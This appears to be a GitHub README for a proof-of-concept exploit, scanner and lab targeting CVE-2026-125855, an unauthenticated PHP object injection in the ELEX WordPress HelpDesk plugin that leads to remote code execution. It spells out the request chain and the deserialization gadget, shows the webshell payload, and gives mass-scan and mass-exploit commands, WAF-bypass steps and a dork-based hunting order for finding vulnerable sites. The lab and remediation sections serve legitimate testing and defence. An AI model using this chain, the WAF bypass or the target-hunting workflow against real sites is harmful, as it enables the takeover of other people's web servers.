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GitHubim0xfay/cve-2026-125855

CVE-2026-125855

5 days agoNot yet reviewed
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PoC, scanner, and lab for CVE-2026-125855 (ELEX WordPress HelpDesk <= 3.3.9): unauthenticated PHP object injection leading to RCE, with WAF bypass.

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CVE-2026-125855 == CVE-2026-119077

ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.9 Unauthenticated PHP Object Injection -> RCE (CWE-502, CVSS 9.8). Fixed in 3.4.0.

Two CVE identifiers describe the same bug (two bounty programs, two IDs). All public sources — NVD, CIRCL, Patchstack — agree on the affected window and the fix version.

The bug in one paragraph

The wp_ajax_nopriv_eh_crm_new_ticket_post handler accepts a form parameter containing the ticket fields. The value of any custom field is stored as ticket meta and later passed to unserialize() without an allowed_classes restriction. A serialized GuzzleHttp\Cookie\FileCookieJar object (Guzzle ships inside the plugin's vendor/) destructs into file_put_contents(), which writes an attacker-chosen file — a PHP webshell in the web root.

POST /wp-admin/admin-ajax.php
  action = eh_crm_new_ticket_post
  nonce  = <public, harvested from the [wsdesk_support] page>
  form   = request_email=…&request_title=…&request_description=…&<custom_field_slug>=<serialized FileCookieJar>
     -> parse_str -> ticket meta stored -> auto_send_creation_email
     -> eh_crm_get_ticketmeta() -> unserialize() -> FileCookieJar::__destruct()
     -> file_put_contents() -> webshell
GET /wp-content/<dir>/<name>.php?a=id  ->  uid=33(www-data)

Full analysis: CVE-2026-125855-report.md — sink-coverage audit (30 sinks in 3.3.9, 0 in 3.4.0), the 6 nopriv handlers and why only one reaches a sink, WAF bypass, failure-mode inventory, remediation.

Prerequisite (this is why most hosts are not exploitable)

At least one custom ticket field must exist. Its slug is the only key whose value reaches the deserializer; request_email / request_title / request_description are handled separately and never touch it. A pristine 3.3.9 install with no custom fields is not exploitable through this path.

The tool reports such hosts as ASSUMED: no custom field, never VULN.

Quick start

python3 poc.py                          # interactive menu (primary entry point)
python3 poc.py -u http://host           # single scan
python3 poc.py -u http://host --exploit # reach the controlled outcome
python3 poc.py -u http://host --exploit --waf   # WAF-bypass technique first
python3 poc.py -l targets.txt --exploit --threads 20

Menu: 1 single scan · 2 single exploit · 3 mass scan · 4 mass exploit · 0 exit.

--exploit targets a controlled outcome: a PHP webshell in the web root, verified by reading uid=… back through it. VULN is never claimed from a blocked or rejected request.

Files

PathPurpose
poc.pymain tool — scan / exploit / mass, menu-driven, staged state machine
probe_readme.pymass fingerprint sweep via readme.txt (Stable tag) — run this first
wsdesk_payload.pyserialized FileCookieJar gadget builder (plain + WAF-safe S: form)
DORKS.mdvalidated dorks + traps (never use ?ver= for version)
CVE-2026-125855-report.mdfull report: sink audit, chain, lab, WAF bypass, remediation
lab/docker topology + setup scripts, reproducible from pinned plugin downloads
evidence/verification matrix and raw lab transcripts

Lab

bash lab/get-plugin.sh   # downloads 3.3.9 and 3.4.0 from wordpress.org (hash-stable)
sudo bash lab/up.sh      # brings up 8210 / 8211 / 8212 / 8213
PortBuildRole
82103.3.9vulnerable
82113.4.0patched control
82123.3.9 + ModSecurity CRSWAF bypass
82133.4.0 + ModSecurity CRSWAF + patched control

Verified matrix: [RCE] [PATCHED] [RCE] [PATCHED] — zero false positives, stable over repeated runs, and reproduced from a clean rebuild using only the two downloaded zips.

No compose plugin required — up.sh uses plain docker run with unique container names and ports so it never collides with another lab on the same host.

WAF bypass (validated against OWASP CRS 4.30.0, paranoia 1)

The naive payload trips three independent rules: 920270 (literal NUL), 930120 (the phrase var/www), and 933130/933150 (<?php and (). The working payload needs all three layers to change:

  1. S: serialization form — \00 written as escapes, no NUL on the wire.
  2. Relative path ../wp-content/cache/<name>.php — absolute paths get a 403.
  3. Body without superglobals — <?php passthru(base64_decode('…')); ?>.

--waf selects this technique first and falls back automatically.

Hunting order

  1. Dork Tier-2: inurl:"/wp-content/plugins/elex-helpdesk-customer-support-ticket-system/readme.txt"
  2. python3 probe_readme.py -l hosts.txt → keep only Stable tag <= 3.3.9
  3. python3 poc.py -u <host> → scan
  4. --exploit only on hosts that pass step 3

Trap worth knowing: EH_CRM_VERSION is 3.1.2 in both 3.3.9 and 3.4.0, so ?ver=3.1.2 identifies the plugin but cannot separate vulnerable from patched. readme.txt Stable tag is the only reliable version oracle. See DORKS.md.

A note on honest results

The build-guard stage sends a deliberately bogus nonce before trusting any success string. Several WordPress sites return a generic {"status":"success"} for any nonce because a different plugin or a fork owns that endpoint; without the calibration control those hosts produce false VULN. The control is mandatory and is verified in the lab: the real handler rejects a bogus nonce on both 3.3.9 and 3.4.0.

Similarly, the product must be confirmed, not assumed: WSDesk Premium (elula/wsdesk) is a different plugin from the free one this CVE covers, and its presence does not make a host vulnerable.

Remediation

Upgrade to 3.4.0 or later. Every unserialize() call in includes/ is routed through eh_crm_safe_unserialize(), which passes ['allowed_classes' => false]. If upgrading is not immediate: remove unused custom fields, restrict the support form to authenticated users, and put a WAF in front that blocks serialized object bodies.

Disclaimer

For authorized security testing, lab research, and defensive validation only. Running this against systems you do not own or have written permission to test is illegal.

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